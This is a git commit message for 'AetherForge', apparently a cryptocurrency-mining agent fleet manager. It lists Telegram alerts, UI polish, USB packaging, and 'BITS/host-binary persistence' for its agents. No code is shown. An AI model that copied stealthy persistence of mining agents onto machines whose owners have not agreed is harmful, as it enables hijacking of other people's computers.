feat: Telegram fleet alerts, forge sigil scramble, UI polish, agent ops

- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help
- Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete
- Sigil scramble post-forge uniquification and Dispense Reveal ceremony
- Full system check, desktop push, BITS/host-binary persistence, Path Tracer
- Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav
- README documents alerts, sigil scramble, and pack-usb workflow
- USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
